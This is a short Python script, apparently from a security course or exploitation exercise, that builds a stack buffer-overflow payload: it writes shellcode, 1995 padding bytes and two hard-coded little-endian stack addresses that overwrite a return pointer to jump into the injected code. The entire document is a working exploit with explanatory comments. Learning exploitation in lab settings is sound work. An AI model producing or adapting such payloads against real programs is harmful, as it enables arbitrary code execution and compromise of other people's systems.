from shellcode import shellcode
import sys

shellcode_start_address = 0xfff6b148
previous_return_pointer_address = 0xfff6b95c

# Write the shellcode bytes, then garbage bytes to overflow the buffer, then 
# the address of the start of the shellcode on the stack, then the address of 
# the previous return pointer which affects the pointer on the stack
sys.stdout.buffer.write(shellcode + b"\x41" * 1995 + shellcode_start_address.to_bytes(4, "little") + previous_return_pointer_address.to_bytes(4, "little"))